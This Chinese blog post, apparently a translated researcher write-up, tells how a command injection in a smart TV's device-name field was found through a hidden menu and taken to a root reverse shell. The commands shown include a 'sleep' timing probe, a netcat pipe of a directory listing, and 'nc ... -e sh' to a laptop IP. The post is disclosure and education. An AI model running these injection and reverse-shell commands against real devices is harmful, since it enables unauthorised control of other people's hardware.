某智能电视命令注入漏洞

0x01 概述

工作一天后,我很累,我本来想在智能电视上设置睡眠定时器,然后躺下就睡觉的了,但是在设置计时器时,我想知道这台智能电视是否存在只有开发者或者支持团队才能看到的隐藏菜单。于是我简单的Google了一下,我发现了打开这个品牌电视机隐藏菜单的代码。

打开设置并在遥控器上输入代码后,屏幕左侧弹出了另一个菜单,但是我发现只有”酒店模式“和查看固件的版本号可以进入外,其他类别都不能访问。

这引起了我的注意,我想更加深入了解有关电视的更多信息。在设置中,有一个名为“info”的类别,我打开它,只看到了更多的版本号,但我发现我可以设置电视的名称。这使得我情不自禁的想试一下日常的payload攻击,比如路由器Web界面的get参数,或者打印机的控制面板。

0x02 智能电视漏洞细节

我的智能电视漏洞

我想看看如果在智能电视上的电视名称中,重新把电视的名称命名为‘sleep 5’会发生什么事。

1491547035352499

当我在遥控器上输入并提交payload后,设置才当冻结了很久,恢复正常运行后,我已经成功的修改了名称,并且可以继续选择其他菜单项了。这时候我没有认为它真的存在命令注入或者其他漏洞。但是我的智能电视机挂起了这么久时间,让我十分好奇,为什么需要这么长时间长能做出反应。

虽然电视挂起的时间很久,但这个挂起的时间却与我输入的5秒并不符合,而且它超过了5秒的时间。我认为这可能与我注入的语句有一定关系。也许电视不接受这样的设置,并且阻止它加载。我重新在电视的名称中输入‘sleep 0’,最试一次。它立即就加载成功了。

这肯定发生了点什么,但是并不确定发生了什么,这时候,我决定测量一下这个时间变量。我通过不停的测试,发现了一个规律,就是电视机的响应时间总比输入的时间多3倍,如下图所示:

2

在智能电视中执行命令

很难想像,我尝试的第一个输入字段居然成功的实现了命令注入。但访问菜单延迟并不是我想要的结果,而且把这个漏洞提交也并没有什么用。由于这个输入框限制了31个字符,减去2个反引号,就是说我只能用29个字符组成payload

以下表格中是我在电视上尝试过的命令列表,其中保护了对它们的解释说明,以及是否成功运行:

3

测试完很晚了,所以我决定先去睡觉,第二天再尝试获取电视的shell。因为昨晚是使用遥控器在电视上运行系统命令的,所以我得起床拿笔记本电脑和网线。

获取智能电视Shell访问

因为我的电视是壁挂式的,所以要在电视上插上网线并没有那么简单。在经历了肩膀脱臼的风险后,我终于把网线插上了,连接好我的笔记本电脑后,我使用ipconfig命令查看了我的电脑ip。

1491547111713403

这里我知道我笔记本的确切IP了,只需要反向连接到我的笔记本电脑就可以得到智能电视的Shell了。所以我不需要知道电视的IP地址是什么。而且反向Shell也很方便,因为它绕过了所有可能阻止入站的防火墙规则。但是在考虑如何在29个字符之内获得Shell之前,我想更深入的了解一下系统。

在智能电视机上使用netcat

我发现在智能电视中已经安装NC了,所以我决定使用nc管道建立智能电视与我笔记本的连接,尝试的第一个命令当然是’ncat -lvp 4444’,因为这会告诉我当前的权限是不是root权限。

root_privilege_tvpng

从上面可以看出,我有root权限。虽然这并不奇怪,但还是很高兴看到的。接着我想要得到根目录的目录列表,所以我就使用了’ls -la /|nc 169.254.56.216 5‘。

smart_tv_directory_listingpng

很好,但是我得到的shell并没有发出正确的命令。所以这些命令或多或少给限制了。因为电视机这个版本的nc-e参数,所以我们可以使用 nc 169.254.213.210 5 -e sh来得到一个反向shell。

reverse_shell_smart_tvpng

智能电视上的shell访问

现在我又了一个很好的反向shell了。所以我想看看我能对这台智能电视机做点什么,我有许多的想法,比如修改它的开机图标,或者更改应用程序的图标。由于这是一台智能电视机,因此它拥有一些预先安装的应用,如YoutubeSkype

smart_tv_Screenshotpng

我注意到大部分的文件系统是只读的,所以我不能更改开机的图标。但是有一些频繁变化的图片我们还是可以修改的,如频道预览框,即在你切换电视频道时看到的。它们包含了访问频道时运行的程序的快照。显然,这是必须被保存在一个可读文件的地方。

我注意到图标图像是.png文件。我使用命令find / -name * .png列出了带有.png扩展名的所有文件,但是预览的文件都不在这里。接着我尝试了相同的搜索,但是这次是.jpg文件,我看到了一些文件,如channelImage123.jpg。上传了我想上传的文件并替换了相应的channelImage文件后,变成了这样:changing_images_smart_tvpng

0x03 总结

各种物联网设备可能在很奇怪或者很基础的地方出现漏洞,当我只是无聊的测试了睡眠命令时,连我都没有想到它会成功的运行。

这个漏洞是不能远程利用的,但是这也让我们注意到把智能电视机连接到互联网,并使用它的智能功能时,可能你觉得十分的方便,但同时你的智能电视也可能被人控制着。

 

*作者:Sven Morgenroth,转载请注明来自MottoIN

原创文章,作者:tom,如若转载,请注明出处:http://www.mottoin.com/article/terminal/100269.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code